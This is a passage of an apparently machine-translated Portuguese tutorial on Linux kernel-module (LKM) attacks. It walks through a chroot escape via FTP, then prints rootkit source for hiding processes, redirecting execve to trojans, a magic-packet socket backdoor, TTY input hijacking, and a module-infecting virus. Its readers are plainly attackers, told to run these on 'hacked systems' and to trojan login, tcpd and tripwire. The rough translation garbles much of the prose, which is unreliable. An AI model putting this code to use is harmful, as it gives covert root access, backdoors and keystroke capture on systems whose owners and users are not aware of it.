nos ajuda a esconder arkivos e diretorios. A aproximao aberta nos
ajudou a fazer nosso unaccessible de arquivos. Mas como fazer nosso
unaccessible de diretrio? Bem - como sempre - d uma olhada em
include/sys/syscall.h; voc deveria poder entender SYS_chdir como o
systemcall ns precisamos (para pessoas que no acreditam nisto s strace
o comando... ' cd ' ). Desta vez eu no lhe darei nenhuma fonte, porque
voc precisa entao interceptar sys_mkdir, e far uma comparao de
string. Depois disto voc devera fazer uma ligao regular (se no 
nosso diretrio) ou retorno ENOTDIR (estando para ' l no existe nenhum
diretrio com aquele nome '). Agora suas ferramentas realmente deveriam
ser escondidas de admins de intermdio (avanados e paranicos
esquadrinharo o HDD a seu mais baixo nvel, mas quem  paranico hoje
alm de ns?!). Tambm deveria ser possvel derrotar esta esquadrinhacao
HDD , porque tudo est baseado em systemcalls. 

4.7 Como mudar Ambientes de CHROOT 

Esta idia  totalmente levada de HISPAHACK (hispahack.ccc.de). Eles
publicaram um texto realmente bom sobre aquele tema (' Restringindo um
FTP restringido '). Eu explicarei a idia deles em algumas pequenas
palavras. Por favor note que o exemplo seguinte no funcionara mais, 
bastante velho (veja verso de wu-ftpd). 
Eu entao estou mostrando isso para explicar como voc pode escapar de
ambientes de chroot que usam LKMs. 
O texto seguinte est baseado em software velho (wuftpd) assim no tente
usar isto em verses de wu-ftpd mais novas, no funcionara. O documentos
de HISPAHACK eh baseado na idia de um usurio FTP restringido
considerando que ele tem o seguinte plano de permisso: 

drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ 
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ 

Este enredo (o qual voc pode achar freqentemente) o usurio (ns) pode
mencionar novamente o diretrio bin, porque est em nosso diretrio
Home. Antes de fazer qualquer coisa assim damos uma olhada em quem
funciona em wu.ftpd (o servidor que eles usaram para explicao, mas a
idia  mais geral). Se ns emitimos um comando LIST.. / sero executados
bin/ls com UID=0 (o uid de EUID=user). Antes de q a execuo seja feita,
para que wu.ftpd realmente tenha terminado usar chroot(...) para fixar o
diretrio de raiz de processo de certo modo ns somos restringidos ao
diretrio Home. Isto nos impede de ter acesso outras partes do filesystem
por nosso FTP considere (restringido). Agora imagine, ns poderamos
substituir /bin/ls com outro programa, este programa seria executado como
root (uid=0). Mas o que ganharamos ns, ns no podemos ter acesso o
sistema inteiro por causa do chroot(...) chamada. Este  o ponto onde ns 
precisamos de um LKM que nos ajuda. Ns removemos... / bin/ls com um
programa que carrega um LKM provido por ns. Este mdulo interceptar o
systemcall sys_chroot(...) . Deve ser mudado de modo q ninguem vai mais
nos restrinjir. Isto significa q ns s precisamos estar seguros que
sys_chroot(...) no est fazendo nada. HISPAHACK usou mesmo um modo
radical, eles entao modificaram sys_chroot(...) de certo modo q s
devolve 0 e nada mais. Depois de carregar este LKM voc ve um processo
novo q pode desovar sem ser mais restringido. Isto significa q voc pode
ter acesso o sistema inteiro com uid=0. O seguinte exemplo que lista
espetculos 'Hack-Session'  publicado por HISPAHACK: 

thx:~# ftp 
ftp> o ilm 
Connected to ilm. 
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. 
Name (ilm:root): user 
331 Password required for user. 
Password: 
230 User user logged in. Access restrictions apply. 
Remote system type is UNIX. 
Using binary mode to transfer files.
 ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. 
d--x--x--x 2 root root 1024 Jun 21 11:26 bin 
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc 
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 
226 Transfer complete. 
ftp> cd .. 
250 CWD command successful. 
ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
total 5 
drwxr-xr-x 5 user users 1024 Jun 21 11:26 . 
drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. 
d--x--x--x 2 root root 1024 Jun 21 11:26 bin 
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc 
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 
226 Transfer complete. ftp ls bin/ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 
226 Transfer complete. 
ftp> ren bin bin.old 
350 File exists, ready for destination name 
250 RNTO command successful. 
ftp> mkdir bin 
257 MKD command successful.
 ftp> cd bin 
250 CWD command successful. 
ftp> put ls 
226 Transfer complete. 
ftp> put insmod 
226 Transfer complete.
ftp> put chr.o 
226 Transfer complete. 
ftp> chmod 555 ls 
200 CHMOD command successful.
 ftp> chmod 555 insmod 
200 CHMOD command successful. 
ftp> ls 
200 PORT command successful. 
150 Opening ASCII mode data connection for /bin/ls. 
UID: 0 EUID: 1002 
Cambiando EUID... 
UID: 0 EUID: 0
Cargando modulo chroot... 
Modulo cargado. 
226 Transfer complete. 
ftp> bye 
221 Goodbye. 
thx:~# 

--> agora ns comeamos uma sesso de FTP nova sem ser restringido 
(LKM est carregado assim sys_chroot(...)  derrotado. Assim faca o 
que voc quer (carregue passwd...) No Apndice voc achar o cdigo 
fonte completo para o ls novo e o mdulo. 

5. Relacionado a Process Hacks
 
Longe disso o filesystem  totalmente controlado por ns. Ns discutimos
o mais interessante 'Hacks'. Agora esta hora de mudar a direo. Ns
precisamos discutir LKMs que confundem comandos usando ' ps ' mostrando
processos. 

5.1 Como esconder qualquer processo 

Eh extremamente importante ns sempre escondermos um processo do admin. 
Imagine um sniffer, cracker (normalmente no deveria ser feito em
sistemas Hackeados), ... visto por um admin quando usando ' ps '. Talvez
engane se vc trocar o nome do sniffer por algo diferente, e esperando q o
admin seja bastante tolo, mas acorde, estamos no sculo 21. Ns queremos
eh esconder totalmente o processo. Vejamos uma implementao de plaguez
(com algumas mudanas muito secundrias): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <linux/proc_fs.h>

extern void* sys_call_table[];

/*process name we want to hide*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*convert a string to number*/
int myatoi(char *str)
{
 int res = 0;
 int mul = 1;
 char *ptr;
 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
 }
 return (res);
}

/*get task structure from PID*/
struct task_struct *get_task(pid_t pid)
{
 struct task_struct *p = current;
 do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*get process name from task structure*/
static inline char *task_name(struct task_struct *p, char *buf)
{
 int i;
 char *name;

 name = p->comm;
 i = sizeof(p->comm);
 do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
 }
 while (i);
 *buf = '\n';
 return buf + 1;
}

/*check whether we need to hide this process*/
int invisible(pid_t pid)
{
 struct task_struct *task = get_task(pid);
 char *buffer;
 if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
 }
 return 0;
}

/*see II.4 for more information on filesystem hacks*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;

 tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
 dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
 dinode = current->files->fd[fd]->f_inode;
#endif

 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
 if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n; 
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*module setup*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_getdents]=orig_getdents;                                      
}

O cdigo parece complicado, mas se voc sabe como ' ps ' eh todo processo que analisa 
ferramenta q esta funcionando,  realmente fcil entender. Comandos usando ' ps ' 
no usa nenhum systemcall especial por adquirir uma lista dos processos atuais 
(l nao existe nenhum systemcall que faz isto). Atravs de strace em ' ps ' voc 
reconhecer que obtm sua informao do diretrio /proc/ . L voc pode achar muitos 
diretrios com nomes que s consistem em nmeros. Esses nmeros so o PIDs de todo o 
funcionamento processado naquele sistema. Dentro destes diretrios voc encontrara 
arquivos que provem qualquer informao sobre aquele processo. O ' ps ' s faz um 
' ls ' em /proc/; todo nmero acha postos para um PID que mostra sua famosa lista. 
 ganha a informao que nos mostra sobre todo processo de ler os arquivos dentro 
de /proc/PID/. Agora voc deveria adquirir a idia. ' ps ' tem que ler os contedos 
do diretrio /proc/ , assim tem que usar sys_getdents(...). Ns entao temos que adquirir 
o nome de um PID achado em /proc/; se  nosso nome de processo que ns queremos esconder, 
ns esconderemos isto de /proc/ (como ns fizemos com outros arquivos no filesystem - > veja 4.1). 
As duas funes de tarefa(task) e a funo invisible(...) adquiri 
s o nome para um determinado PID no diretrio de proc e matria-prima relacionada. 
Os arquivo escondidos deveriam tentar limpar conforme demonstrado em 4.1. Eu 
melhoraria s um ponto em approuch de plaguez. Eu no sei por que ele usou uma 
atoi-function, simple_strtoul(...) seja o modo mais fcil, mas estes so peanuts. 
Claro que, em um hide module completo voc colocaria arquivo e processo escondido 
em um hacked getdents call (isto , o q plaguez fez.). Runar Jensen usou outro modo 
mais complicado. Ele tambm esconde o PIDs do diretrio /proc, mas o modo dele 
confere se esta escondido ou no,  um pouco diferente. Ele usa o campo de 
flags na estrutura de tarefa. Este campo longo no assinado regularmente usa 
as constantes seguintes para economizar um pouco de informao sobre a tarefa: 

  - PF_PTRACED: processo atual  observado 
  - PF_TRACESYS: """" 
  - PF_STARTING: processo vai comear 
  - PF_EXITING: processo vai terminar 

Agora Runar Jensen soma a prpria constante dele (PF_INVISIBLE) o qual ele usa para
indicar que o processo correspondente deveria ser invisvel. Assim um PID em /proc 
usando sys_getdents(...) no deve ser solucionado em seu nome. Voc s tem que conferir 
para o campo de flags de tarefa. Isto soa mais fcil que a ' aproximao de nome '. 
Mas como fixar esta flag para um processo q ns queremos esconder. Runar Jensen usou o modo 
mais fcil enganchando sys_kill(...). O comando 'kill' pode enviar um cdigo especial (9 para
terminao, por exemplo) para qalquer processo especificado pelo PID dele. Assim comece seu 
processo que vai ser invisvel, faa um ' ps ' por adquirir seu PID. E usa um a 'kill -code PID'. 
O campo de cdigo deve ser um valor que no  usado pelo sistema (assim 9 seria uma escolha 
ruim); Runar Jensen levou 32. Assim o mdulo precisa enganchar sys_kill(...) e confere para 
um cdigo de 32. Nesse caso tem que se fixar a task flags campo do processo especificado pelo 
PID dado a sys_kill(...). Este  um modo para fixar o campo de flag. Agora est claro por que 
esta aproximao  um pouco muito complicado para um uso prtico fcil. 

5.2 Como redirecionar Execuo de arquivos 

Em certas situaes poderia ser muito interessante redirecionar a execuo de um arquivo. 
Esses arquivos poderiam ser /bin/login (como plaguez fez), tcpd, etc.. Isto lhe permitiria 
inserir qualquer trojan sem problema de checagens de checksum nesses arquivos (voc no 
precisa muda-los). To novamente procuremos o systemcall responsvel. sys_execve(...)  
um do qual ns precisamos. Demos uma olhada no modo de plaguez de redirecionamento(a idia 
original veio de halflife): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

/*must be defined because of syscall macro used below*/
int errno;

/*we define our own systemcall*/
int __NR_myexecve;

/*we must use brk*/
static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*here plaguez's user -> kernel space transition specialized for strings
is better than memcpy_fromfs(...)*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
 return dest;
}


/*this is something like a systemcall macro called with SYS_execve, the
asm code calls int 0x80 with the registers set in a way needed for our own
__NR_myexecve systemcall*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) 
                     (filename)), "c"((long) (argv)),                      "d"((long) (envp)));
    return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 char *test;
 int ret, tmp;
 char *truc = "/bin/ls";        /*the file we *should* be executed*/
 char *nouveau = "/bin/ps";     /*the new file which *will* be executed*/
 unsigned long mmm;

 test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
 /*get file which a user wants to execute*/
 (void) strncpy_fromfs(test, filename, strlen(truc));
 test[strlen(truc)] = '\0';
 /*do we have our truc file ?*/
 if (!strcmp(test, truc)) 
 {
  kfree(test);
  mmm = current->mm->brk;
  ret = brk((void *) (mmm + 256));
  if (ret < 0)
   return ret;
  /*set new program name (the program we want to execute instead of /bin/ls or 
  whatever)*/
  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  /*execute it with the *same* arguments / environment*/
  ret = my_execve((char *) (mmm + 2), argv, envp);
  tmp = brk((void *) mmm);
 } else {
  kfree(test);
  /*no the program was not /bin/ls so execute it the normal way*/
  ret = my_execve(filename, argv, envp);
 }
 return ret;
}

int init_module(void)                /*module setup*/
{
 /*the following lines choose the systemcall number of our new myexecve*/
 __NR_myexecve = 200;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Quando voc carregou este mdulo, toda chamada para /bin/ls executar entao /bin/ps. 
A lista seguinte lhe d algumas idias como usar este redirecionamento de execve: 

  - trojan /bin/login com um login hacker (como plaguez sugere) 
  - tcpd trojan para abrir um rootshell em uma certa porta, ou filtrar seu behaviour 
    anotando (se lembra de CERT aconselhador em um trojan verso de TCPD) 
  - inetd trojan para uma rootshell 
  - httpd trojan, sendmail,... qualquer servidor do que voc pode pensar, para um 
    rootshell, emitindo um especial magic string 
  - ferramentas trojan como tripwire, L6 
  - outras ferramentas relevantes de seguranca de sistemas 
 
Ha milhares de outros programas de intersting para 'trojan', entao use seu crebro. 

6. Hacking relacionado a Rede (Socket) 

A Rede  o playground do hacker. Assim vejamos algo que pode nos ajudar. 

6.1 Como controlar Operaces de Sockets  

H muitas coisas que voc pode fazer controlando Operaes de Socket. plaguez fez uma
backdoor agradvel. Ele entao intercepta o systemcall sys_socketcall e espera por um 
pacote com uma certa durao e um certo contedo. Assim demos uma olhada no hacked systemcall 
dele (eu mostrarei s o hacked_systemcall, porque o resto  igual a todo outro LKM mencionado
nesta seo): 

int hacked_socketcall(int call, unsigned long *args)
{
 int ret, ret2, compt;

 /*our magic size*/
 int MAGICSIZE=42;

 /*our magic contents*/
 char *t = "packet_contents";
 unsigned long *sargs = args;
 unsigned long a0, a1, mmm;
 void *buf;

 /*do the call*/
 ret = (*o_socketcall) (call, args);

 /*did we have magicsize & and a recieve ?*/
  if (ret == MAGICSIZE && call == SYS_RECVFROM) 
  {
   /*work on arguments*/
   a0 = get_user(sargs);
   a1 = get_user(sargs + 1);
   buf = kmalloc(ret, GFP_KERNEL);
   memcpy_fromfs(buf, (void *) a1, ret);
   for (compt = 0; compt < ret; compt++)
    if (((char *) (buf))[compt] == 0)
     ((char *) (buf))[compt] = 1;
    /*do we have magic_contents ?*/
    if (strstr(buf, mtroj)) 
    {
     kfree(buf);
     ret2 = fork();
    if (ret2 == 0) 
    {
     /*if so execute our proggy (shell or whatever you want...) */
     mmm = current->mm->brk;
     ret2 = brk((void *) (mmm + 256));
     memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

     /*plaguez's execve implementation -> see 4.2*/
     ret2 = my_execve((char *) mmm + 2, NULL, NULL);
    }
   }
  }
 return ret;
}

Ok, como sempre eu adicionei alguns comentrios para o cdigo que  um pouco feio, mas funciona. 
O cdigo intercepta todo sys_socketcall (que  responsvel para tudo relativo a socket-operations 
veja I.2). Dentro do hacked systemcall o primeiro cdigo assume um systemcall normal. 
Depois de que o valor de retorno e chama so conferidas as variveis. Se fosse um 
receive Socketcall  e o 'packetsize' (... nada haver com TCP/IP Packets...)  o q conferir os 
contedos que foram recebidos. Se pode achar nossos contedos magic, o cdigo pode ser seguro
, P/ q ns (hackers) possamos iniciar o programa backdoor. Isto  feito atravs de 
my_execve(...). Na minha opinio esta aproximao  muito boa, tambm seria possvel esperar 
por um speciel connect / close padro ntimo, s seja criativo. Por favor lembre-se que os 
mtodos mencionaram sobre necessidade um servio que lista em uma certa porta, 
porque a receive function s  emitida atravs de daemons dados receptores de uma 
conexo estabelecida. Esta  uma desvantagem, porque podia ser um bit um pouco suspeito 
para alguns admins paranico. Teste essa primeira ideia de backdoor de LKM em seu sistema 
e veja o que acontece. Ache seu modo favorito de backdoor'ing o sys_socketcall, e 
use em seus sistemas hackeados. 

7. Modos para Sequestrar TTY 

Sequestrar TTY  muito interessante e tambm eh algo muito usado a muito tempo. 
Ns podemos agarrar toda introducao de um TTY, ns especificamos qual seu nmero maior 
e menor. Na Phrack 50 halflife publicaram um LKM realmente bom que faz isto. O cdigo 
seguinte  retirado do LKM dele. Deveria mostrar para todo novato os fundamentos de 
seguestrar TTY, que entretanto sem nenhuma implementao completa, voc no pode usar 
isto de qualquer modo til, porque eu no implementei um modo de anotar a introducao TTY 
feito pelo usurio.  apenas para q alguns de voces q querem entender os fundamentos, entao, 
aqui vamos nos: 

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <sys/sysmacros.h>


int errno;

/*the TTY we want to hijack*/
int tty_minor = 2;
int tty_major = 4;

extern void* sys_call_table[];

/*we need the write systemcall*/
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

void *original_write;

/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
 struct file *f=NULL;
 struct inode *inode=NULL;
 int mymajor=0;
 int myminor=0;

 if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  return 0;
 mymajor = major(inode->i_rdev);
 myminor = minor(inode->i_rdev);
 if(mymajor != tty_major) return 0;
 if(myminor != tty_minor) return 0;
  return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
 int r;
 char *kernel_buf;

 if(is_fd_tty(fd))
 {
  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);   
  memcpy_fromfs(kernel_buf, buf, count);

  /*at this point you can output buf whereever you want, it represents
  every input on the TTY device referenced by the chosen major / minor
  number
  I did not implement such a routine, because you will see a complete &
  very good TTY hijacking tool by halflife in appendix A */

  kfree(kernel_buf);
 }
 sys_call_table[SYS_write] = original_write;
 r = write(fd, buf, count); 
 sys_call_table[SYS_write] = new_write;
 if(r == -1) return -errno;
  else return r;
}

int init_module(void)                   
{
 /*you should know / understand this...*/
 original_write = sys_call_table[SYS_write];
 sys_call_table[SYS_write] = new_write;
 return 0;
}


void cleanup_module(void)
{
 /*no more hijacking*/
 sys_call_table[SYS_write] = original_write;
}

Os comentrios devem deixar este cdigo mais legivel. A idia geral  interceptar 
sys_write (veja 4.2) e filtrar o fd estimam como eu mencionei em 4.2. Depois de 
conferir fd para o TTY ns queremos bisbilhotar, adquirimos os dados escritos e 
escrevemos isto a algum 'log' (no implementado no exemplo acima). Lah estao vrios 
modos onde voc pode armazenar o logs. halflife usaram um buffer (acessvel por um 
prprio dispositivo) que  uma idia boa (ele tambm pode controlar o hijack'er
(sequestrador) dele usando ioctl-commands no dispositivo dele). Eu recomendo q 
armazene os logs escondendo-o pessoalmente (por LKM) em um arquivo, e fazendo o 
controle por algum tipo de IPC(Inter Process Comunication). Depende do modo em que 
funciona em seu sistema hackeado. 

8. Vrus escritos com LKMs 

Agora ns deixaremos a parte de hacking em segundo plano e daremos uma olhada no mundo de 
codificacao de vrus (as idias discutidas aqui tambm poderiam ser interessantes para 
hackers, assim prossiga lendo...). Eu concentrarei esta discusso no infector de LKM 
feito por Stealthf0rk/SVAT. No apndice 'A' voc adquirir a fonte completa, assim esta 
seo discutir apenas tcnicas importantes e funes. Este LKM requer um sistema Linux 
(foi testado em um sistema 2.0.33) e com kerneld instalado (eu explicarei por que). 
Em primeiro lugar voc tem que saber que este infector de LKM no infeta elf executaveis 
normalmente (tambm seria possivel, e vero isso depois ->7.1), s infeta mdulos que 
esto carregados / descarregados. Isto que carrega/descarrega  administrado 
frequentemente atravs de kerneld (veja I.7). Assim imagine um mdulo infetado com o 
cdigo de vrus; quando tambm carregando este mdulo voc carregam o vrus LKM que 
funciona escondendo suas caractersticas (veja 8). Este mdulo de vrus interceptam
os systemcalls sys_create_module e sys_delete_module (veja I.2) para infeco adicional. 
Sempre que um mdulo  descarregado naquele sistema  infetado pelo systemcall 
sys_delete_module novo. Assim todo mdulo atravs do kerneld (ou manualmente) ser 
infetado quando descarregado. Voc poderia imaginar o enredo seguinte para a primeira 
infeco: 

   - admin est procurando um driver de Rede para o cartao de interface novo dele 
    (ethernet,...) 
   - ele comea procurando na Web 
   - ele acha um driver module que deveria funcionar no sistema dele & carrega isto 
   - ele instala o mdulo no sistema dele [o mdulo  infetado]--> o infector  
     instalado, o sistema  compromissado

Claro que, ele no carregou a fonte, ele estava com preguissa e desconsiderou os riscos 
que levam um arquivo binrio. Entao admins, nunca confiem em qualquer arquivo binrio 
(especialmente mdulos). 
Assim eu espero que voc veja os riscos de infectors de LKM, agora pareamos um 
pouco mais ntimo ao infector de LKM por SVAT. Imagine voc tem a fonte para o vrus LKM 
(um mdulo simples que intercepta sys_create_module / sys_delete_module e algum outro 
[mais enganador] materiais). A primeira pergunta seria como infetar um mdulo existente 
(o mdulo anfitrio). Bem faamos alguns experimentos. Leve dois mdulos e 'cat' eles 
junto:
 
# cat module1.o >> module2.o 

Depois desta prova para insmod o resultando module2.o (que tambm inclui module1.o a seu fim). 

# insmod module2.o 

Ok funcionou, agora cheque que mdulos esto carregados em seu sistema, 

# lsmod 

Module    Pages   Used by 
module2       1	        0 

Assim ns sabemos que concatenando dois mdulos o primeiro (relativo a cdigo de objeto) 
ser carregado, o segundo ser ignorado. E nao haver nenhum erro que diz que insmod no 
podem carregar cdigo corrompido ou assim. Pensando nisto, deveria estar claro que um 
mdulo de anfitrio pudesse ser infetado por 

'cat host_module.o >> virus_module.o' 
'ren virus_module.o host_module.o'  --> (mv)

Carregando host_module.o deste modo carregaro o vrus com todas suas caractersticas de LKM 
agradveis. Mas h um problema, como ns carregamos o host_module atual? Seria muito estranho 
a um usurio / admin que o device driver dele no funcionasse. Aqui ns precisamos da ajuda 
do kerneld. Como eu disse em I.7 que voc pode usar kerneld para carregar um mdulo. 
S request_module de uso ("module_name") em seu sources. Este kerneld foraro a carregar o 
mdulo especificado. Mas onde ns adquirimos o mdulo de anfitrio original dele? 
 acumulado em host_module.o (junto com virus_module.o). Assim depois de compilar seu 
virus_module.c para seu objectcode voc tm q olhar seu tamanho (quantos bytes). 
Depois disto sabe voc onde o host_module.o original comear no acumulado (voc tem que 
compilar o virus_module duas vezes: 
o primeiro para conferir o objectcode e classificar segundo o tamanho, a segunda com a fonte 
mudada relativo a objectsize que deve ser hardcoded...). Estes passos seu virus_module 
deveriam buscar extrair o host_module.o original do acumulado. Voc tem que salvar isto 
extraindo o modulo em algum lugar, e carrega isto por request_module ("orig_host_module.o"). 
Depois de carregar o host_module.o original seu virus_module (que tambm est carregado por 
insmod [emitido por usurio, ou kerneld]) pode comear infectando qualquer mdulo carregado. 
Stealthf0rk (SVAT) usou o systemcall sys_delete_module(...) por fazer a infeco, assim demos 
uma olhada no hacked systemcall dele (eu s adicionei alguns comentrios): 

/*just the hacked systemcall*/
int new_delete_module(char *modname)
{
 /*number of infected modules*/
 static int infected = 0;
 int retval = 0, i = 0;
 char *s = NULL, *name = NULL;
 
 /*call the original sys_delete_module*/       
 retval = old_delete_module(modname); 

  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  return retval;
 
 /*check files to infect -> this comes from hacked sys_create_module; just
 a feature of *this* LKM infector, nothing generic for this type of virus*/
 for (i = 0; files2infect[i][0] && i < 7; i++) 
 {
  strcat(files2infect[i], ".o"); 
  if ((s  = get_mod_name(files2infect[i])) == NULL) 
  {
   return retval;
  }
  name = strcpy(name, s);
  if (!is_infected(name)) 
  {
   /*this is just a macro wrapper for printk(...)*/
   DPRINTK("try 2 infect %s as #%d\n", name, i);
   /*increase infection counter*/
   infected++;
   /*the infect function*/
   infectfile(name);
  }
  memset(files2infect[i], 0, 60 + 2);
 } /* for */
 /* its enough */
 /*how many modules were infected, if enough then stop and quit*/
 if (infected >= ENOUGH)
  cleanup_module();
 vfree(name);
 return retval;
}

Bem h s uma funo interessante neste systemcall: infectfile(...). Assim examinemos aquela 
funo (novamente apenas alguns comentrios foram adiconados por mim): 

int infectfile(char *filename)
{
 char *tmp = "/tmp/t000";
 int in = 0, out = 0;
 struct file *file1, *file2;
 
 /*don't get confused, this is a macro define by the virus. It does the
 kernel space -> user space handling for systemcall arguments(see I.4)*/
 BEGIN_KMEM
 /*open objectfile of the module which was unloaded*/
 in = open(filename, O_RDONLY, 0640);
 /*create a temp. file*/
 out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
 /*see BEGIN_KMEM*/
 END_KMEM
 
 DPRINTK("in infectfile: in = %d out = %d\n", in, out);
 if (in <= 0 || out <= 0)
  return -1;
 file1 = current->files->fd[in];
 file2 = current->files->fd[out];
 if (!file1 || !file2)
  return -1;
 /*copy module objectcode (host) to file2*/
 cp(file1, file2);
 BEGIN_KMEM
 file1->f_pos = 0;
 file2->f_pos = 0;
 /* write Vircode [from mem] */
 DPRINTK("in infetcfile: filenanme = %s\n", filename);
 file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
 cp(file2, file1);
 close(in);
 close(out);
 unlink(tmp);
 END_KMEM
 return 0;
}        

Eu acho que a funo de infeco esta bastante clara. Soh falta uma coisa da qual 
eu acho q seja necessrio discutir: Como fazer o mdulo infetado primeiro comeo o vrus, e 
carrega o mdulo original (ns sabemos a teoria, mas como fazer isto em realidade)? Por 
responder esta pergunta objetiva, deixa um olhar a uma funo chamada 
load_real_mod(char *path_name, char* name) que administra aquele problema: 

/* Is that simple: we disinfect the module [hide 'n seek]
 * and send a request to kerneld to load
 * the orig mod. N0 fuckin' parsing for symbols and headers
 * is needed - cool.
 */
int load_real_mod(char *path_name, char *name)
{   	
 int r = 0, i = 0;		
 struct file *file1, *file2;
 int in =  0, out = 0; 

 DPRINTK("in load_real_mod name = %s\n", path_name);
 if (VirCode)
  vfree(VirCode);
 VirCode = vmalloc(MODLEN);
 if (!VirCode)
   return -1;
 BEGIN_KMEM
 /*open the module just loaded (->the one which is already infected)*/
 in = open(path_name, O_RDONLY, 0640);
 END_KMEM
 if (in <= 0)
  return -1;
 file1 = current->files->fd[in];
 if (!file1)
  return -1;
 /* read Vircode [into mem] */
 BEGIN_KMEM
 file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
 close(in);
 END_KMEM
 /*split virus / orig. module*/
 disinfect(path_name);
 /*load the orig. module with kerneld*/
 r = request_module(name);
 DPRINTK("in load_real_mod: request_module = %d\n", r);
 return 0;
}   	

Deveria fikar claro o *porque* de este infector de LKM precisam de kerneld agora, ns 
precisamos carregar o mdulo original com request_module(...). Eu espero que voc 
entenda esta jornada muito bsica pelo mundo de infectors de LKM (vrus). As prximas 
sees de substituicao mostraro para alguem, extenses e idias bsicas sobre infectors de 
LKM. 

